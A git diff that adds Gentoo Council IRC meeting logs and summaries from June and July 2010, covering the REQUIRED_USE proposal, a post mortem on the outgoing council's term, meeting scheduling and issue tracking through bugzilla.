+22:15:26 <Calchan>	jmbsvicetto, the "quiet" last meeting wsn't organized by me so I'll abstain from criticizing (in the goold old "do it or shut up" fashion)
+22:15:31 <leio>	we weren't creating ballots for our next meeting vote, but for a vote to be done by all developers
+22:15:48 <jmbsvicetto>	yes, but we should first establish some agreements
+22:16:17 <jmbsvicetto>	leio: yes, but that's too early
+22:16:39 <leio>	jmbsvicetto: I don't necessarily disagree that, clarifying dertobi123
+22:16:44 <leio>	with that*
+22:16:45 <jmbsvicetto>	there haven't been concrete proposals yet. People were talking about general concepts before Calchan did the summaries
+22:16:51 <jmbsvicetto>	ok
+22:18:05 <jmbsvicetto>	Calchan: I was joking about your (council members) expectation that the last meeting of your term would be "quiet"
+22:21:14 -->	billie (~billie@gentoo/developer/billie) has joined #gentoo-council
+22:24:59 <leio>	anything else for the open floor?
+22:25:19 <--	darkside_ (~darkside@gentoo/developer/darkside) has left #gentoo-council
+22:25:28 <dertobi123>	guess not
+22:25:34 <leio>	I hope that developers will comment on the summaries too with further stuff then
+22:31:04 <jmbsvicetto>	leio: I'll take further comments to the project ml
+22:32:40 <leio>	ok, I'll consider this the cut point for raw log then, meeting done unless todays chair says otherwise and I cut from later :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100614-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100614-summary.txt
new file mode 100644
index 00000000..e2f6bdca
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100614-summary.txt
@@ -0,0 +1,15 @@
+Gentoo Council 2010-06-14 meeting agenda / summary:
+
+role call:
+ ferringb proxying for solar
+ wired proxying for scarabeus
+ ulm was missing
+
+No agenda set
+
+REQUIRED_USE eapi addition:
+ - http://dev.gentoo.org/~ferringb/required-use.html
+ - voting delayed till next council to ensure everyone knew the details
+
+attempted post mortem discussion for the outgoing council's term:
+ - primarily discussion, no real recommendations/resolutions
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100614.txt b/xml/htdocs/proj/en/council/meeting-logs/20100614.txt
new file mode 100644
index 00000000..67da66f5
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100614.txt
@@ -0,0 +1,185 @@
+21:01:07 <Betelgeuse> let's start
+21:01:10 <dertobi123> so, let's go
+21:01:13 <dertobi123> who's around?
+21:01:25 <Calchan> I am
+21:01:35 -*- dertobi123 is, obviously
+21:01:47 -*- wired here, proxying for scarabeus 
+21:02:15 <dertobi123> wired: funny, scarabeus didn't sent an email about you being his proxy for today
+21:02:30 <wired> he said so here a while back
+21:03:40 <Betelgeuse> 15:19  * scarabeus not sure if i will make it here, asked wired to proxy me
+21:03:44 <wired> [18:19:47] * scarabeus not sure if i will make it here, asked wired to proxy me
+21:04:29 <dertobi123> whatever, it doesn't matter for todays non-meeting
+21:05:44 <ferringb> so... no one assembling an agenda/request for err.. requests, means nothing happens, or...
+21:06:15 <Calchan> I spent a lot of time and effort last month putting together an agenda and a meeting that some of you said was a waste of your time
+21:06:15 <Betelgeuse> ferringb: we can still vote on issues but members might be vary on voting on something they know little about
+21:06:23 <Calchan> so I certainly wasn't going to waste any more of your time again this month
+21:06:45 <Calchan> and it demonstrates yet again that if I don't do it then nothing happens
+21:07:09 -*- dertobi123 sighs
+21:07:14 <ferringb> Calchan: don't suppose you've been maintaining a list of things that didn't make it into a specific council meeting?
+21:07:15 <Betelgeuse> so missing leio, ulm ?
+21:07:18 <ferringb> aka, a backlog?
+21:07:29 <leio> I'm here
+21:09:23 <Betelgeuse> was this our last meeting?
+21:10:06 <dertobi123> this is our last one, yes
+21:10:51 <Betelgeuse> Not having an agenda is quite fitting for the year.
+21:11:12 -*- ferringb sighs
+21:11:20 <Betelgeuse> Hopefully the webapp helps the next council
+21:11:20 <tove> you can meet again in two weeks
+21:11:24 <ferringb> yep
+21:11:27 <Betelgeuse> tove: true
+21:11:30 -*- ferringb notes there are two things still outstanding
+21:11:43 <ferringb> one is Arfrever's request, although I've indicated my views why it's not ready
+21:12:05 <ferringb> there is also REQUIRED_USE that's been sitting for a few months now
+21:12:35 <dertobi123> well, none of these items has been submitted to the council
+21:12:47 <Betelgeuse> dertobi123: that latter has
+21:12:49 <ferringb> dertobi123: check your logs.  REQUIRED_USE sure as hell was.
+21:13:01 -*- ferringb notes that discussing something shouldn't require red tape either
+21:13:11 <Betelgeuse> It's been our failure that it wasn't in the last meeting
+21:13:28 <dertobi123> ferringb: sorry
+21:13:44 <Betelgeuse> For Arfrever's request I propose we vote on whether it requires more work:
+21:13:47 <Betelgeuse> I vote yes
+21:13:54 <dertobi123> yes, too ... (of course)
+21:14:14 <leio> uh, abstain
+21:14:29 <Betelgeuse> leio: ?
+21:14:36 <ferringb> spoke my views.  not opposed to the change (there are other USE syntax changes I'd like for example), but this needs to be done in a way that doesn't cause PMS compliant managers to go boom.  Needs work.
+21:15:01 <leio> from voting on that, I don't know if it requires more work or not.
+21:15:01 <Betelgeuse> leio: did you read the logs little before the meeting?
+21:15:21 <leio> I think so
+21:16:21 <Betelgeuse> wired, Calchan ?
+21:18:42 <ferringb> additional item that likely is worth discussing; since this is the last meeting, a post mortem of the last year is likely wise, in terms of what worked, what didn't.
+21:19:22 <leio> everyone expecting someone else from the council to do certain council work tasks does not work
+21:20:07 <wired> abstain, but from a quick read of the bug this does seem to need more work
+21:21:30 <Betelgeuse> ferringb: reading your GLEP again what comes to mind is it shouldn't it reserve a cache key?
+21:21:47 <ferringb> should, yes
+21:22:00 <ferringb> s/should/must/ realistically, from a performance standpoint
+21:22:17 <ferringb> http://dev.gentoo.org/~ferringb/required-use.html <-- for people who've not read it.  think we've demonstrated we have time, so go read it if you've not
+21:23:32 <ferringb> Betelgeuse: good question though, hadn't thought to clarify in there.  currently there is still space left in the flat_list format, so that's not an issue to expand into one of the slots
+21:24:06 <Betelgeuse> ferringb: yes but ideally the GLEP would specify the slot number
+21:24:24 <ferringb> Betelgeuse: ideally PMS would, but yes
+21:25:06 <ferringb> Betelgeuse: to nail down the exact slot for it requires rechecking what portage jammed in there.  PROPERTIES iirc got slapped in there (without PMS updating afaik), so the enumeration in the spec needs updating either way
+21:25:30 <ferringb> tbh, I consider that something of an implementation detail, but yes, for the resultant PMS patch the slotting should be explicitly locked.
+21:27:50 <ferringb> leio: wired: comments?
+21:27:56 <ferringb> dertobi123: Calchan: y'all?
+21:28:19 <leio> ferringb: nope, but I'll take a portage patch :)
+21:28:32 <ferringb> read the glep.  a patch already exists.
+21:28:47 <leio> stop referring to it as a glep :)
+21:28:49 <ferringb> under the implementation section specifically, sebastian luther implemented it
+21:29:01 <ferringb> s/glep/text/ whatever.  point is, the doc covers this already
+21:29:40 <dertobi123> ferringb: no comments, looks good to me.
+21:29:49 <dertobi123> though ^^ looks rather funny
+21:29:58 <dertobi123> but that's just a detail
+21:30:04 <ferringb> ^.^ was my first preference.
+21:30:08 <dertobi123> heh
+21:30:11 <wired> ferringb: id like to see that in portage asap :)
+21:30:19 <ferringb> switching it to voting specifically
+21:30:28 <leio> while we don't have this, pkg_pretend had issues doing this in a temporary fashion?
+21:31:12 <Betelgeuse> leio: see motivation?
+21:31:19 <ferringb> already covered.
+21:32:12 <ferringb> expounding a bit... there is no 'temporary' in EAPI.  once it's there, it's there till we start stating xyz EAPI's are no longer supported (I don't expect that for at least a half decade either, if that).  once it's in, it screws up doing this properly long term
+21:32:17 <leio> yeah, wish Calchan made an agenda as volunteered in lack of others :)
+21:33:28 <Betelgeuse> ferringb: well that's not obsoleting pkg_pretend
+21:33:29 <leio> so not optimal, but temporarily possible to achieve something better than current with pkg_pretend too
+21:34:13 <ferringb> leio: no... pkg_pretend is added in eapi4.  this doc modifies eapi4 (which isn't released so we can pull this) to fix a flaw in using pkg_pretend for use validation like this.
+21:34:21 <leio> I'm hoping for some markup to express that a USE flag takes effect only in case some other one is enabled
+21:34:37 <ferringb> no REQUIRED_USE, you have to use pkg_pretend, and you suffer the issues laid out in motiviation.  this is why it needs fixing before eapi4 goes live.
+21:34:44 <leio> would this fit in the syntax style somewhere too? :P
+21:35:43 <ferringb> currently it's limited to just this new metadata key.  if someone wants to use ^^ elsewhere, they need to put forth a proposal (solar has some notions, but nothing concrete last I knew)
+21:36:16 <leio> same syntax like that but in IUSE could be expressing what I have in mind?
+21:36:51 <ferringb> no
+21:37:27 <leio> anyway, lets discuss this additional feature later in private perhaps.
+21:37:27 <ferringb> IUSE is an enumeration.  you'd have to combine effectively a tree syntax in w/ an enumeration... it's not pretty to even try it (have, hence the seperate key)
+21:38:04 <leio> just hoping that once all these new syntax features get added, that they all fit in consistently
+21:38:19 <ferringb> wired: dertobi123: fine with this, and moving on to post mortem?
+21:38:33 <ferringb> Calchan: your thoughts?  you've been fairly quiet
+21:40:05 <wired> ferringb: yeah
+21:40:34 -*- dertobi123 nods
+21:41:16 <ferringb> good enough.  at this point since there is logging, might as well start laying out the perceived/outstanding issues w/ the council over the last year... what went wrong, what can be improved, what went right, etc.
+21:41:35 <ferringb> standard post mortem (if you've not participated in one of these just pm and I'll go through details)
+21:41:40 <ferringb> sound good?
+21:42:43 <Betelgeuse> yes
+21:44:00 <Betelgeuse> I think this council suffered from the usual lack of "drive"
+21:44:20 <Betelgeuse> People do show up but effective work would require plenty of hours outside meetings
+21:44:21 <ferringb> Betelgeuse: lack of drive, or burnout?
+21:45:21 <Betelgeuse> It tells quite a lot that our last to summaries are "To be completed"
+21:45:26 <ferringb> yep
+21:45:28 <Betelgeuse> s/to/two/
+21:45:35 <dertobi123> well, from my pov ... this council was way too passive. we merely just discussed some eapi/pms stuff and became tired while doing so. personally i somehow lost interessed in gentoo and several other things became much more important for me. i should've stepped back from the council half a year ago or so - but seeing who'd take my seat i decided to fullfill my term.
+21:45:49 <ferringb> Betelgeuse: think making the council's term 6 months would be good?
+21:46:13 <ferringb> dertobi123: your thoughts on 6 months?
+21:46:28 <wired> id like to see the council be more decisive
+21:46:59 <Betelgeuse> ferringb: if there's a big shift in membership it might be hard to get things done
+21:47:08 -*- ferringb notes the purpose of a post mortem, while including wishes/desires for going forward, should also be looking at specific failures in the past to identify/ensure they don't occur again
+21:47:12 <dertobi123> ferringb: ambivalent ... might help, but it might be useful to shorten nomination and election periods then, too
+21:47:18 <ferringb> Betelgeuse: things aren't really getting done however.
+21:47:19 <dertobi123> we should give it a try
+21:47:32 <ferringb> Betelgeuse: faster cycle at least means that if people want out, they can bow out quicker.
+21:47:47 <Betelgeuse> ferringb: I would hope if people loose interest that they drop out voluntarily
+21:48:07 <ferringb> Betelgeuse: not guranteed.  as mentioned by dertobi123, knowing the competition, sometimes they hold on.
+21:48:08 <Betelgeuse> Current rules still state that the council has to approve the next one in line
+21:48:42 <ferringb> dertobi123: with respect mind you, but my stance is if there isn't interest, then one needs to let the next dude in line handle it... even if they're a schmuck (someone has to do the work one way or another)
+21:49:03 <ferringb> Betelgeuse: re: disruption, staggered seat elections comes to mind btw to combat that.
+21:49:24 <Betelgeuse> ferringb: we do keep those if council doesn't approve and it has already happened
+21:49:32 <Betelgeuse> happened this term already I think
+21:50:06 -*- ferringb means that 2/7 memebers have their terms for feb->feb, 2/7 have it for sept->sept, and the 7th lands wherever (under a year term)
+21:50:11 <ferringb> *members, pardon.
+21:50:28 <ferringb> either way... other failings/issues from the past year?
+21:50:55 <ferringb> wired: "be more decisive" is a bit vague.  specifics/examples would be useful here- post mortem should be specific failings rather than "I'd like us to be more xyz" if at all possible
+21:52:32 <dertobi123> ferringb: there was interest, i just didn't worked an hour or two a day on gentoo - just like i did a year or two ago. that's what i tried to express with "lost interest".
+21:53:08 <ferringb> dertobi123: fair enough.  as said, wasn't trying to pick at you specifically, more looking at the general problem that can arise there
+21:54:40 <ferringb> dertobi123: any thoughts on how to help w/ that?  realistically the council does have a semi-hefty req on one's time
+21:54:52 <wired> ferringb: a few months back i proxied for leio at a meeting where nothing was decided, no-one had read the agenta items enough and everything was postponed. i don't blame people for not having enough time to spend for the council, but in my eyes the council should be a swift body, quickly resolving things devs can't
+21:55:09 <ferringb> similar views for myself
+21:55:34 <ferringb> so why is it slow?  ignoring people not reading shit (can't do anything about that aside from come election time)
+21:55:54 <dertobi123> well, i was prepared (i.e. reading the agenda and related topics/gleps) every meeting i attended
+21:56:05 <dertobi123> but that doesn't matter at all now
+21:56:22 <ferringb> "doesn't matter at all now" howso?
+21:56:58 <wired> im not pointing fingers here and my experience doesn't mean that you hadn't done your studing, but the result was the same, a month went by without anything getting done
+21:57:32 -*- ferringb notes the point of a post mortem here is to not care about who did what.  it's to ensure that next time around, these issues don't re-occur
+21:58:08 <dertobi123> ferringb: as in "it doesn't matter if i was prepared, if in the end the result was to just postpone things"
+21:58:14 <ferringb> ah, right
+21:58:32 <ferringb> dertobi123: any thoughts on how to keep the council body from continually postponing things?
+21:58:48 <wired> i also feel that the council is kind-of afraid to take big decisions
+21:58:51 <Betelgeuse> ferringb: you need a member actively pushing things to avote
+21:58:53 <NeddySeagoon> council meetings should mostly be a dog and pony show - making decisions public and explaining the reasoning. There should be very little discussion.  Its an opportunity for the council to be held to account by the voters
+21:59:25 <Betelgeuse> ferringb: I get annoyed many times when actual votes don't happen in meetings
+21:59:37 <Betelgeuse> ferringb: We could try a no major discussion rule
+21:59:48 <Betelgeuse> ferringb: Get together every two weeks
+21:59:49 <NeddySeagoon> Betelgeuse, votes can happen before meetings
+21:59:56 <wired> i'd like to see members just vote for things as they see fit, instead of postponing.
+21:59:56 <Betelgeuse> discuss and vote separately
+22:00:04 <dertobi123> ferringb: there two importants points ... having a secretary tracking things and looking for things to get done. the other one is people who submitted things to actively ask what the status is and remember to add things to the agenda if something got lost
+22:00:07 <ferringb> Betelgeuse: every two weeks is something I've been after for a while, although the "no major discussion rule" I don't totally agree with.
+22:00:17 <wired> perhaps there should be a rule that when something is brought up for voting, it must be resolved
+22:00:38 <ferringb> wired: "postponed" is a resolved
+22:01:17 <dertobi123> not only the council was quite passive, also requests from the developer body were quite rare ... if you want to get things done and/or decieded by the council, mailing them via council@g.o is the way to go atm - but not that many people used that. i'm pretty sure lots of interesting stuff got lost on gentoo-dev@g.o
+22:01:38 <leio> I typically don't see any outside meeting discussions initiated either, in some cases there are gentoo-dev threads, which die
+22:02:14 <dertobi123> and having items where discussions start within a meeting lead to people looking unprepared and not being able to decide something
+22:02:56 <ferringb> from my perspective, there were dev requests
+22:03:06 <dertobi123> so in the end it's not the council who failed somehow, but also our developer body
+22:03:18 <ferringb> just very, very rarely did the council pick them up and run with them.  if it occured at all, it was typically either ulm or calchan proxying it into their realm of awareness
+22:03:35 <ferringb> dertobi123: my personal view, but the council should be actively engaging the dev body
+22:03:54 <ferringb> I'm not sure if others agree with that however
+22:04:26 <dertobi123> ferringb: probably none (or just a few) of the devs did mail those requests to council@g.o
+22:04:30 <ferringb> point is, from my view the council should be doing more than just "it's that time of the month" emails and sifting through the results- actively tracking what was requested, notifying why it was punted, etc.
+22:04:47 <ferringb> well, if the request for discussion goes to *dev*, it's not particularly surprising, no?
+22:04:48 <dertobi123> discussing things on irc or via mail doesn't automatically put this things on the council's agenda
+22:05:36 <ferringb> dertobi123: actually, it should.
+22:05:54 <ferringb> not even should, it kind of must considering the emails sent to dev.  one second.
+22:06:25 <ferringb> http://www.gossamer-threads.com/lists/gentoo/dev/210446#210446
+22:06:29 <wired> i agree with ferringb here, council members are devs, i'd like to see them filter through the dev mail and take decisions without someone explicitly requesting it when devs cant reach a decision themselves
+22:07:05 <ferringb> emails of that sort have been going to dev since day one, and very, very little of what people request on those threads ever makes it into the council's purview.  if those email threads won't be watched by the folk requesting discussion topics, the emails need to stop.
+22:07:31 <ferringb> explicit requests need addressing (even if it's a statement of "piss off you wanker").  implicit would be nice, but explicit isn't even working.
+22:07:41 <wired> i also think that the 6 month term is a nice idea, with meetings closer to each other
+22:08:28 <ferringb> any council members got other issues they'd like to bring up?
+22:08:36 -*- ferringb notes right now it's mostly the proxies speaking
+22:08:50 <dertobi123> we don't have different opinions here - i described how the council worked until now, it's your chance to make the council more active
+22:09:10 <ferringb> yeah, pardon- you're right.
+22:09:17 <ferringb> dertobi123: other issues/comments?
+22:10:12 <ferringb> brb
+22:11:36 <Betelgeuse> ferringb: nope
+22:11:48 <Betelgeuse> the webapp back log is open for ideas as usual
+22:12:14 <dertobi123> no ... just one thing, i'd like to see a more (pro-)active council being elected and from my pov it would help to get a fresh council started with new and fresh people. no offense, but imho everyone should be able to be member of two councils and then have take a break.
+22:12:33 *** Mode #gentoo-council -o dertobi123 by dertobi123
+22:14:04 <-> dabbott|afk is now known as dabbott
+22:14:05 <leio> I think for the whole council to be (pro-)active all individual members need to be proactive and proactively discuss things in this channel and elsewhere with others, so that there isn't one or a couple doing that, others missing drive, and then remaining getting a burnout
+22:17:28 <Betelgeuse> I need to go. Thanks for the year and let's see who show up next month.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100714-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100714-summary.txt
new file mode 100644
index 00000000..c7a3b5f9
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100714-summary.txt
@@ -0,0 +1,99 @@
+Gentoo Council 20100714 meeting goals:
+
+      * have the first public meeting of the new council
+      * set some base rules for the operation of the new council
+      * allow council members to present issues to work on this term
+      * listen to the community to check whether there are any issues it wants to bring to the attention of the council
+      * continue discussion about required-use and --as-needed to prepare a vote in the 26/7 meeting
+
+
+Gentoo Council 20100714 meeting agenda:
+
+      * allow all members to show up (5 min)
+      * select the probable date for the monthly meetings (5 min)
+      * discuss desired model of operation (15 min)
+        - using bugs to track issues
+        - have a section on all meetings to check the bugs status
+        - ability to have 2nd monthly / impromptu meetings when required
+        - secretary / meeting chair
+      * allow council members to present issues to be addressed in this term (15 min)
+      * listen to the community to see if there are any issues it would like to see the council address in this term (10 min)
+      * require-use discussion (10 min)
+      * --as-needed discussion (10 min)
+      * Any Other Business (5 min)
+
+
+Roll call:
+      * betelgeuse   here
+      * chainsaw     here
+      * ferringb     late (30 minutes)
+      * halcy0n      here
+      * jmbsvicetto  here
+      * scarabeus    here
+      * wired        here
+
+
+Gentoo Council 20100714 meeting summary:
+
+      * allow all members to show up (5 min)
+        Brian (ferringb) arrived 30 minutes late.
+
+
+      * select the probable date for the monthly meetings (5 min)
+        1900 UTC, 2nd Monday of each month
+
+
+      * discuss desired model of operation (15 min)
+
+        - using bugs to track issues
+        bugs for now (without any restrictions, fully visible and editable by any registered user)
+        rails project for council management is under development, will check that when finished
+
+        - have a section on all meetings to check the bugs status
+        discussion about bug progress should happen on each meeting.
+        each bug will have an assigned named council member that should be responsible for its tracking
+        we may use bugzilla voting capabilities if deemed useful
+
+        - ability to have 2nd monthly / impromptu meetings when required
+        there can be any number of meetings during the month, with the requirement of a minimal 1 week advance notice
+
+        - secretary / meeting chair
+        council members will replace a secretary by using google wave to create meeting summaries on the fly
+        the chair of a meeting is going to be decided at the end of the previous meeting. scarabeus volunteers to be default fallback
+        the selected chair is responsible for the initial email and the upcoming meeting agenda, as well as committing the summary of the meeting he chairs.
+
+
+      * allow council members to present issues to be addressed in this term (15 min)
+
+        Chainsaw - to kill (the official status of) overlays ; to review package maintenance policy
+        jmbsvicetto - to continue the work to review GLEP39 and Gentoo's metastructure ; to study and promote ways to allow more involvement from community
+        scarabeus - increase QA of the tree (be more strict with developers) and revive GWN
+        ferringb - make council less involved in day-to-day matters and more focused on bigger picture
+        wired - decisive and effective council
+        halcy0n - bigger QA hammer, easier and more straight rules for joining or helping out in our community
+        betelgeuse - putting GSoC results to some good use ; mostly PM stuff
+
+
+      * listen to the community to see if there are any issues it would like to see the council address in this term (10 min)
+
+        tanderson - have the council decide on proposals solely on their merit and not on the person who submits them
+
+
+      * require-use discussion (10 min)
+
+        skipped
+
+
+      * --as-needed discussion (10 min)
+
+        skipped - this issue is going to be discussed over mail and voted on next meeting. Note the word VOTE, so please raise your concerns on ML if required.
+
+
+      * chair for next meeting (will write initial email, propose agenda and commit summary)
+
+        wired
+
+
+      * Any Other Business (5 min)
+
+        none
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100714.txt b/xml/htdocs/proj/en/council/meeting-logs/20100714.txt
new file mode 100644
index 00000000..3d81c4c5
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100714.txt
@@ -0,0 +1,437 @@
+18:59 <@jmbsvicetto> ok, for reference here are 3 links about the issues to discuss:
+18:59 <@jmbsvicetto> 1. - ferringb's proposal - http://dev.gentoo.org/~ferringb/required-use.html
+19:00 <+tanderson> please make them (semi-)permament.
+19:00 <@jmbsvicetto> 2. - ferrings's initial discussion about it - http://archives.gentoo.org/gentoo-dev/msg_b0e868626019f497eba47194c34e5421.xml
+19:00 <@jmbsvicetto> 3. - last round of --as-needed discussion - http://archives.gentoo.org/gentoo-dev/msg_4d877108b67a4161eeaa5722aee7a297.xml
+19:01 <@jmbsvicetto> tanderson: we'll add them to the agenda / summary / etc
+19:01 <@jmbsvicetto> so, it's time
+19:01 <+tanderson> okay.
+19:01 <@jmbsvicetto> who are we missing?
+19:01 <@jmbsvicetto> ferringb: ping
+19:02 <@Chainsaw> Are phone numbers for ferringb available? If so, can they be used?
+19:02 <+tanderson> Chainsaw: you need a warrant :p
+19:02 <@jmbsvicetto> Gentoo warrant?
+19:02 <@jmbsvicetto> ;)
+19:02 <@Betelgeuse> jmbsvicetto: I am here.
+19:02 <@Chainsaw> jmbsvicetto: As am I.
+19:03  * scarabeus smiles around
+19:03 <@jmbsvicetto> Do we give 3 minutes for Brian to show up?
+19:03 <@wired> yeah
+19:03 < ssuominen> jmbsvicetto: since that last round of asneeded talking, we fixed last of the bugs with Xarthisius regarding having -Wl,--as-needed in LDFLAGS, 0 open bugs for that, and only 5-6 for forced asneeded
+19:04 <@jmbsvicetto> ssuominen: ok
+19:04 <@jmbsvicetto> thanks for the update
+19:04 -!- jmbsvicetto changed the topic of #gentoo-council to: congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting: 14/7 19H00 UTC - now || next meeting 26/7 19H00 UTC
+19:06 -!- jmbsvicetto changed the topic of #gentoo-council to: congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting: 14/7 19H00 UTC - now / agenda - http://dpaste.com/217481/ || next meeting 26/7 19H00 UTC
+19:06 -!- wired changed the topic of #gentoo-council to: congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting: 14/7 19H00 UTC - now - http://bit.ly/bALQMi || next meeting 26/7 19H00 UTC
+19:06 <@wired> lmao :D
+19:06 <@wired> your's is better :)
+19:06 <@jmbsvicetto> ok, we'll use yours ;)
+19:06 <@jmbsvicetto> ok
+19:06 -!- jmbsvicetto changed the topic of #gentoo-council to: congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting: 14/7 19H00 UTC - now / agenda - http://dpaste.com/217481/ || next meeting 26/7 19H00 UTC
+19:07 <@jmbsvicetto> so, if someone can reach Brian, please recall him of the meeting
+19:07 <@jmbsvicetto> shall we proceed?
+19:07 <@Betelgeuse> yes
+19:07 <@wired> yes
+19:07 <@Chainsaw> Agreed.
+19:07 <@scarabeus> yes
+19:07 <@jmbsvicetto> probable date for council meetings?
+19:08 <@jmbsvicetto> per our alias discussion, seems the best option are Mondays 19H00 UTC
+19:08 <@Chainsaw> The time works well for me.
+19:08 <@scarabeus> every 2nd monday 19H00 UTC?
+19:08 <@Chainsaw> And indeed, any weekday except Tuesday is good.
+19:08 <@jmbsvicetto> scarabeus: I like that
+19:08 <@Halcy0n> scarabeus: works for me
+19:09 <@wired> sounds good
+19:09 <@jmbsvicetto> shall we vote for it?
+19:09 <@scarabeus> jmbsvicetto: it looks like most people already said aye :]
+19:09 < dleverton> Does that change to 20H00 when DST ends?
+19:09 <@Betelgeuse> jmbsvicetto: I would rather try to find a time that suits everyone.
+19:10 <@Chainsaw> dleverton: UTC does not respect DST.
+19:10 <@jmbsvicetto> Betelgeuse: sure
+19:10 <@Chainsaw> dleverton: So yes, for most people the meeting time will shift by an hour.
+19:10 < dleverton> Yeah, but I think there's been some confusion in the past about that
+19:10 <@wired> Betelgeuse: i thought 1900 suits everyone?
+19:10 <@Betelgeuse> wired: Voting implies going by a majority.
+19:11 <@jmbsvicetto> Betelgeuse: I see there were no updates to the page :\
+19:11 <@wired> Betelgeuse: ah, you're referring to the vote suggestion :)
+19:11 <@Betelgeuse> jmbsvicetto: which page?
+19:11 <@scarabeus> the doodle page i guess
+19:11 <@jmbsvicetto> The one with the time availability
+19:11 <@jmbsvicetto> yes
+19:11 <@Betelgeuse> missed that
+19:12 <@scarabeus> i didnt update it because i can organise my time to fit anything you guys think up
+19:12 <@Betelgeuse> Any way I prefer the meeting staying the same local time (- if we have a meeting where US And Europe are not in DST sync)
+19:12 <@jmbsvicetto> so, does anyone have a problem with 2nd Monday of the month at 19H00 UTC ?
+19:12 <@Chainsaw> jmbsvicetto: That works very well for me, thank you.
+19:13 <@jmbsvicetto> Betelgeuse: so it would become 18H00 UTC when time changes?
+19:13 <@Betelgeuse> jmbsvicetto: 20UTC
+19:13 <@Chainsaw> jmbsvicetto: UTC does not respect DST. So the time would stay the same.
+19:13 <@scarabeus> yeah we can shift it to +1to fit even non sumer time
+19:13 <@Chainsaw> jmbsvicetto: Did you mean CEST?
+19:13 <@jmbsvicetto> Betelgeuse: thanks for correcting that
+19:14 <@jmbsvicetto> Chainsaw: 19H00 UTC until DST kicks in and 20H00 UTC from then on
+19:14 <@Betelgeuse> jmbsvicetto: 19UTC/BST
+19:14 <@jmbsvicetto> iirc, the problem is DST kicks in at different times in US and Europe
+19:14 <@Betelgeuse> hmm no
+19:14 <@wired> 1 week differene iirc
+19:14 <@jmbsvicetto> right
+19:14 <@Betelgeuse> 20BST 19UTC
+19:14 <@Chainsaw> So what you meant was 19:00 GMT.
+19:15 <@scarabeus> KILL MEEE
+19:15 <@wired> lol
+19:15 <@scarabeus> we will meet at this time
+19:15 <@jmbsvicetto> iirc, it changes in the last Saturday of September in Europe
+19:15 <@scarabeus> and when the summer time is over we add one hour
+19:15 <@wired> lets just stick to 1900
+19:15 <@wired> one meeting before dst change we can talk abou this
+19:15 <@Halcy0n> WFM
+19:15 <@Betelgeuse> Chainsaw: GMT == UTC for practical purposes
+19:15 <@Chainsaw> Indeed, let's shelve this discussion.
+19:15 <@jmbsvicetto> ok, let's defer that to the September meeting
+19:16 <@Chainsaw> jmbsvicetto: Agreed. Next item?
+19:16 <@Halcy0n> We've gone over our 5 minutes, so lets move on.
+19:16 <@jmbsvicetto> sure
+19:16 <@jmbsvicetto> So do we want to use bugs to track issues submitted to the council?
+19:17 <@Chainsaw> It seems a good way, yes.
+19:17 <@wired> i like the idea
+19:17 <@Betelgeuse> jmbsvicetto: the web app once GSoC is over
+19:17 <@Chainsaw> As long as there is some control over who can submit bugs to that category.
+19:17 <@Halcy0n> Betelgeuse: which web app is this?
+19:17 <@scarabeus> council web app to manage our workflow
+19:17 <@Betelgeuse> Halcy0n: We have a rails project to do anything that I can think of for the council.
+19:18 <@jmbsvicetto> so bugs for now and the webapp later?
+19:18 <@Chainsaw> jmbsvicetto: Okay. Can you make sure that the ability to file & comment bugs in the Council category is restricted?
+19:18 <@Halcy0n> Bugs for now, and lets see how the webapp works out.
+19:19 <@scarabeus> WFM
+19:19 <@wired> +1
+19:19 <@Chainsaw> Yes, agreed.
+19:19 <@jmbsvicetto> Chainsaw: I don't think infra cand do that now, but we can apply the same rules for abuse in bugzilla
+19:19 <@jmbsvicetto> s/cand/can/
+19:19 <@Chainsaw> jmbsvicetto: Restricting the filing might be difficult, but restricting the ability to comment sounds realistic.
+19:19 <@Halcy0n> We can restrict commenting, like devrel, but do we really want to do that?
+19:19 <@Chainsaw> jmbsvicetto: And should probably be done. My mailbox will thank you if we ever vote on a contentious issue.
+19:20 <@jmbsvicetto> Chainsaw: let's ask infra and wait for their reply, ok?
+19:20 <@Halcy0n> I'm not certain why we are restricting the bugs...nor do I agree with that.
+19:20 <@jmbsvicetto> idl0r: if you can comment, please do
+19:20 < a3li> if I may, there is no option to make a bug 'read-only' only for certain people by default
+19:20 <@Halcy0n> If people abuse bugzilla, we can deal with that, but we shouldn't be making the bugs hidden.
+19:21 <@Chainsaw> Halcy0n: Because seas of "No, this is a stupid idea" "I disagree it is great, please vote yes" are tiresome.
+19:21 <@Chainsaw> Halcy0n: I don't mean to restrict viewing.
+19:21 <@Chainsaw> Halcy0n: Just commenting.
+19:21 <@jmbsvicetto> Halcy0n: I assume the goal is to restrict access to people in the reporter, assigned and cc fields
+19:21 <@Betelgeuse> No discussion should happen in bugzilla.
+19:21 <@Betelgeuse> Even by us.
+19:21 <@Halcy0n> Bugzilla shouldn't be used as a discussion medium anyway.
+19:21 <@Chainsaw> Indeed. But people will if you give them the chance. So restrict comments please, nip it in the bud.
+19:21 <@jmbsvicetto> I agree in principle with Halcy0n and Betelgeuse 
+19:21 <@Halcy0n> Keep them open, if people don't use the tools correctly, we deal with it.  I don't want to deal with a possible non-issue before we even encounter it.
+19:22 <@jmbsvicetto> there are already tools to deal with people that abuse bugzilla
+19:22 <@Chainsaw> As you wish.
+19:22 <@wired> I think we should leave them open as well. if people misbehave continously we can revisit restricting them
+19:22 <@Chainsaw> Move on, next item?
+19:22 <@Halcy0n> Well, did we reach consensus before moving on?
+19:22 < idl0r> jmbsvicetto: what's up?
+19:23 <@Chainsaw> Halcy0n: Yes, the majority was against my idea of restricting bugs in any way.
+19:23 <@jmbsvicetto> So, the idea is to use bugs and check the webapp when it's ready
